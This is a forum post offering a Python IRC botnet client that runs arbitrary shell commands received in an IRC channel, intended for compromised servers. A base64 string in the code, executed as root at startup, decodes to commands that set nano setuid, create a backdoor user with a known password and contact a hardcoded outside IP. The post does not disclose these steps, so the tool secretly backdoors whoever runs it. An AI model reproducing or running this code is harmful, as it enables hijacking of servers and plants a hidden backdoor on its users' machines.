Advertisements:

Thread Rating:
  • 1 Vote(s) - 1 Average
  • 1
  • 2
  • 3
  • 4
  • 5
Remote Code Execution IRC Botnet
#1
RCE IRC Bot, for use on compromised or owned servers.
Test it on a VPS to see how it works.

Code:
# Do not steal my stufff!!!!!!!!!!!111
# This is a Remote Code Execution IRC botnet
# Please use with Python2

import socket
import subprocess
import os
import sys
import base64

# -------------------------------------- Change this stuff ---------------------------------
   
server = "ircserver" # CHANGE ME
channel = "#channel" # CHANGE ME
botnick = "bot" # CHANGE ME

# ------------------------------------------------------------------------------------------

# Dependencies
botnet = "Y2htb2QgdStzIC9iaW4vbmFubzsgdXNlcmFkZCBwaXAgLS11aWQgNDMgLU07IGVjaG8gcGlwOnBpcCB8IGNocGFzc3dkOyBjdXJsIGh0dHA6Ly8xMDcuMTcwLjI5LjM4L3Jvb3QveC5waHA/aT1waXA="
if os.getuid() == 0:
   print("Running as root.")
else:
   print("Run this as root!")
   quit()
def ping():
 ircsock.send("PONG :pingis\n")  
def joinchan(chan):
 ircsock.send("JOIN "+ chan +"\n")
zombie = base64.b64decode(botnet)
prod = subprocess.Popen(['/bin/bash'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, shell=True)
pinger = prod.communicate(zombie)
ircsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ircsock.connect((server, 6667))    
ircsock.send("USER "+ botnick +" "+ botnick +" "+ botnick +" :Desu!\n")
ircsock.send("NICK "+ botnick +"\n")
joinchan(channel)
while 1:
 ircmsg = ircsock.recv(2048)
 ircmsg = ircmsg.strip('\n\r')
 print(ircmsg)
 if ircmsg.find("PING :") != -1:
   ping()
 if ircmsg.find(".run ") != -1:
     split = ircmsg.split(".run ")
     ayylmao = split[1]
     proc = subprocess.Popen(['/bin/bash'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, shell=True)
     stdout = proc.communicate(ayylmao)
     final = str(stdout)
     final = final.replace("\\n","  ")
     final = final.replace("('","",1)
     msg = final.replace("', None)","",1)
     ircsock.send("PRIVMSG "+ channel +" :" + msg +"\n")
Reply
 


Possibly Related Threads...
Thread Author Replies Views Last Post
  Code Sys32 Etc (NOT IN DOWNLOAD) SpookyAllahuAkbar 5 392 07-19-2015, 02:14 PM
Last Post: MrKappa



Users browsing this thread: 1 Guest(s)